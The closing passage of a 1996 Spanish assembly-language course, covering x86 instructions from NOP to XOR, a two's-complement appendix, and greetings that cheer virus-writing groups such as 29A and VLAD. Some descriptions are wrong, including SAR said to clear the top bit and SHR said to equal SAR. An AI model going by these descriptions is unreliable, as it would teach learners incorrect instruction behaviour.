  2170.                  su valor. El cálculo se realiza invirtiendo todos los bits
  2171.                  y sumando uno al resultado.
  2172.  
  2173.     NOP
  2174.                   No OPeration, no hace nada
  2175.  
  2176.     NOT
  2177.                   Invierte los bits del operando ( 1s en 0s y viceversa )
  2178.  
  2179.     OR
  2180.                   Realiza un 'O' lógico en los bits del operando, cambiando
  2181.                  el valor de éstos bits. Compara uno a uno los bits de
  2182.                  igual significación de los operandos, y da como resultado
  2183.                  1 si uno de ellos o los dos está a uno, o los dos lo están,
  2184.                  y 0 si los dos están a 0; por ejemplo:
  2185.  
  2186.                     11100100
  2187.                  OR 00101101
  2188.                    ----------
  2189.                     11101101
  2190.  
  2191.     OUT
  2192.                   OUTput to port, Salida a puerto.
  2193.                   Escribe el contenido de AX o AL ( los dos únicos operandos
  2194.                  origen que se pueden usar con ésta instrucción ) en el
  2195.                  puerto especificado por el operando destino ( DX o un
  2196.                  número directo )
  2197.  
  2198.     POP
  2199.                   Saca del valor operando de la pila
  2200.  
  2201.     POPF
  2202.                   Saca de la pila el registro de flags
  2203.  
  2204.     PUSH
  2205.                   Empuja a la pila el valor operando
  2206.  
  2207.     PUSHF
  2208.                   Empuja el registro de flags a la pila
  2209.  
  2210.     RCL
  2211.                   Rotate with Carry Left ( Rotar a la izquierda con acarreo )
  2212.                   Copia en cada bit del operando el contenido del que se
  2213.                  halla a su derecha, y en el de menor el contenido del flag
  2214.                  de acarreo; en éste se copia el bit de mayor peso.
  2215.  
  2216.     RCR
  2217.                   Rotate with Carry Right ( Rotar a la derecha con acarreo )
  2218.                   Copia en cada bit del operando el contenido del que se
  2219.                  encuentra a su izquierda, y en el bit de mayor peso el
  2220.                  contenido del flag de acarreo; en el flag de acarreo el
  2221.                  bit de menor peso.
  2222.  
  2223.     REP
  2224.                   REPeat
  2225.                   Utilizada sin operandos, repite una operación tantas veces
  2226.                  como el valor de CX, decrementándolo cada vez ( puede
  2227.                  usarse como delay, aunque poco efectivamente ).
  2228.                   Se utiliza también con operandos como MOVSW por ejemplo,
  2229.                  para realizar CX veces la operación indicada.
  2230.                   Existen también dos variantes de ésta instrucción; REPE
  2231.                  y REPNE ( REPeat if Equal, REPeat if Not Equal ), atendiendo
  2232.                  al estado de los flags.
  2233.  
  2234.     RET
  2235.                   RETurn
  2236.                   Se utiliza para volver de una subrutina llamada con un
  2237.                  Call; ésta órden saca de la pila el valor de IP, o de IP
  2238.                  y CS, para retornar al lugar desde el que se le llamó.
  2239.  
  2240.     ROL
  2241.                   ROtate Left
  2242.                   Copia en cada bit del operando el contenido del que se
  2243.                  halla a su derecha, copiando en el bit de menor peso el
  2244.                  contenido del de mayor peso
  2245.  
  2246.     ROR
  2247.                   ROtate Right
  2248.                   Copia en cada bit del operando el contenido del que se
  2249.                  halla a su izquierda, copiando en el bit de mayor peso el
  2250.                  contenido del de menor peso
  2251.  
  2252.     SAHF
  2253.                   Store AH in Flags, Almacenar AH en los flags
  2254.                   Copia el contenido de AH en el byte de menor peso del
  2255.                  registro de flags.
  2256.  
  2257.     SAL
  2258.                   Shift Aritmetic Left
  2259.                   Su sintaxis es [SAL destino,numero], mueve los bytes del
  2260.                  registro hacia la izquierda, copiando en cada uno el
  2261.                  contenido de aquel que estaba a su derecha. El byte de
  2262.                  menor peso se pone a cero, y el mayor se copia en el flag
  2263.                  de acarreo.
  2264.  
  2265.     SAR
  2266.                   Shift Aritmetic Right
  2267.                   Realiza las mismas operaciones que SAL, pero al revés, o
  2268.                  sea, cada bit copia el valor del de su izquierda, el de
  2269.                  mayor peso queda a cero, y el de menor se copia al flag
  2270.                  de acarreo
  2271.  
  2272.     SBB
  2273.                   SuBstract with Borrow
  2274.                   Resta el operando origen y el flag de acarreo del
  2275.                  operando destino, almacenándose el resultado en el operando
  2276.                  destino
  2277.  
  2278.     SCAS
  2279.                   SCAn String, Examinar cadena
  2280.                   Se acompaña de una B o W detrás cuando no existe operando
  2281.                  para indicar el tamaño ( Byte o Word )
  2282.                   Resta el operando destino, que está indicado por ES:DI
  2283.                  del acumulador ( sin realizar almacenamiento del resultado ),
  2284.                  y en función de ello actualiza los flags.
  2285.                   El operando puede llevar prefijo de segmento, que
  2286.                  sustituirá a ES como prefijo del operando destino. DI irá
  2287.                  incrementándose/decrementándose.
  2288.  
  2289.     SHL
  2290.                   SHift Left
  2291.                   Igual que SAL
  2292.  
  2293.     SHR
  2294.                   SHift Right
  2295.                   Exáctamente igual que SAR
  2296.  
  2297.     STC
  2298.                   SeT Carry flag, Activar flag de acarreo
  2299.                   Activa el flag de acarreo ( lo pone a uno )
  2300.  
  2301.     STD
  2302.                   SeT Direction flag, Activar flag de dirección.
  2303.                   Lo pone a uno.
  2304.  
  2305.     STI
  2306.                   SeT Interrupts, Activar interrupciones.
  2307.                   Activa las interrupciones.
  2308.  
  2309.     STOS
  2310.                   STOre String
  2311.                   Normalmente se usa con B o W al final para indicar el
  2312.                  tamaño, byte o palabra ( esencialmente si no se especifica
  2313.                  ningún operando ). Su función es copiar el contenido del
  2314.                  acumulador ( AL o AX ) en ES:DI. El operando puede llevar un
  2315.                  prefijo de segmento, que se usará en lugar de ES
  2316.  
  2317.     SUB
  2318.                   SUBstract, resta
  2319.                   El objetivo de ésta instrucción consiste en restar al
  2320.                  operando destino el contenido del origen, conservándose
  2321.                  el resultado en éste operando destino.
  2322.  
  2323.     TEST
  2324.                   TEST, Comparar
  2325.                   Compara mediante un AND lógico los operandos origen y
  2326.                  destino; no almacena los resultados, pero sí modifica los
  2327.                  flags.
  2328.  
  2329.     WAIT
  2330.                   El computador entra en un estado de espera, que se verá
  2331.                  activado cuando el 'test' input en el microprocesador sea
  2332.                  activado.
  2333.  
  2334.     XCHG
  2335.                   eXCHanGe ( intercambiar )
  2336.                   Intercambia los valores de los registros, por ejemplo en
  2337.                  un XCHG AX,BX, tras la operación BX contendría al antiguo
  2338.                  AX, y vicecersa.
  2339.  
  2340.  
  2341.     XLAT
  2342.                   Una de éstas instrucciones un tanto curiosas; almacena en
  2343.                  AL un byte de la dirección de memoria formada por DS y la
  2344.                  suma de BX y AL. Se puede indicar un operando para
  2345.                  especificar el segmento en vez de DS
  2346.  
  2347.     XOR
  2348.                   eXclusive OR
  2349.                   Realiza un OR ( O ) excluyente entre el origen y el
  2350.                  destino; compara uno a uno los bits de los dos operandos,
  2351.                  resultando un 1 tan sólo si uno y sólo uno de los dos bits
  2352.                  comparados es 1, y cero en el resto de los casos.
  2353.                   Sería tal que así:
  2354.  
  2355.                   11010101
  2356.              XOR  01011011
  2357.                  ----------
  2358.                   10001110
  2359.  
  2360.                   registro, registro
  2361.  
  2362.  
  2363.                                ╓────────────╖
  2364.                               ╓╜ APENDICE B ╙╖
  2365.                               ╙──────────────╜
  2366.  
  2367.                              NUMERACION NEGATIVA
  2368.  
  2369.     Bien, ésta es una parte del curso que quizá debiera haber ido antes,
  2370.  pero por su complicación para la gente en fase de aprendizaje, he preferido
  2371.  incluirlo como apéndice.
  2372.  
  2373.     ¿ Como se representan mediante lenguaje ensamblador los números
  2374.  negativos ?
  2375.  
  2376.     El sistema utilizado es el denominado 'aritmética de complemento a dos'.
  2377.  Se pasó bastante tiempo pensando en cuál sería el método ideal para
  2378.  realizar éste cometido, siendo condición principal que las sumas y restas
  2379.  diesen resultados lógicos; o sea, que -x+x sumasen 0, por ejemplo.
  2380.  
  2381.     Para ello entonces, hagamos una prueba. Si al número binario 00000000
  2382.  le restamos 00000001, el resultado será 11111111, ya que en un byte al
  2383.  pasar del número más bajo a uno "negativo", sale el número más alto.
  2384.  
  2385.     Por tanto, 11111111 representará al '-1', así como 11111110 al -2, y
  2386.  así hasta llegar al 10000000, que será el -128. El número exáctamente
  2387.  anterior, el 01111111, será el 127 entonces, y ésto nos permitirá comprobar
  2388.  cuando un número es negativo tan sólo viendo si su primer bit está o no,
  2389.  a uno.
  2390.  
  2391.     Así visto, éstas serían algunas representaciones:
  2392.  
  2393.     00000001                ---->            1
  2394.     00000011                ---->            3
  2395.     01111111                ---->            127
  2396.     11111111                ---->            -1
  2397.     11111110                ---->            -2
  2398.     10000000                ---->            -128
  2399.  
  2400.     Y visto ésto, ¿ cuál es la manera más rápida de saber el valor de un
  2401.  número negativo ? Es bien fácil; dad la vuelta a todos los bits del byte
  2402.  ( o de la palabra, o de lo que sea ), y sumadle uno, ese será el número
  2403.  representado sin signo.
  2404.  
  2405.     P.ej, el número 10111011, que sabemos que es negativo ( si estamos
  2406.  trabajando con números negativos ) por el 1 en el bit de mayor peso:
  2407.  
  2408.     Se le da la vuelta: 01000100, o sea, 68 decimal, y se le suma 1. Por
  2409.  tanto, el número 10111011 cuando trabajemos con números con signo es el -69
  2410.  
  2411.  
  2412.                           -----------------------
  2413.  
  2414.                      ╒═════════──────────────═════════╕
  2415.                     ╒╛ Agradecimientos y dedicatorias ╘╕
  2416.                     ╘══════════════════════════════════╛
  2417.  
  2418.                     Edison's Temple bbs: RULEZZZZZZZ !!!!
  2419.  
  2420.                Patuel: Gracias por toda la ayuda, sinceramente
  2421.  
  2422.                  Bitspawn: Que no, que no me olvido de tí ;)
  2423.  
  2424.                       Mr.White: A currar a currar ! X-)
  2425.  
  2426.                             SHE: Hack the planet !
  2427.  
  2428.            Exobit: Sois los mejores, que no os digan lo contrario !
  2429.  
  2430.                   Darknode: Adelante con la 29A, mostruos !!!
  2431.  
  2432.                         VLAD: Que le dirías a un dios ?
  2433.  
  2434.        Dark Conspiracy: Venga, que estoy esperando el Plasmamag 2 ! ;)
  2435.  
  2436.            A todos los escritores de virus del mundo: Vamos allá !
  2437.  
  2438.         Rod Fewster & Ian Moote & Luther Kolb: You're fuckin' lamerz !
  2439.  
  2440.     -----
  2441.  
  2442.     Pablo Barrón Ballesteros ( Wintermute )
  2443.     E-mail: wintermute@temple.subred.org
  2444.     Netmail: 2:341/136.23 ( Fidonet )
  2445.  
  2446.     Agosto, 1996
  2447.  
  2448.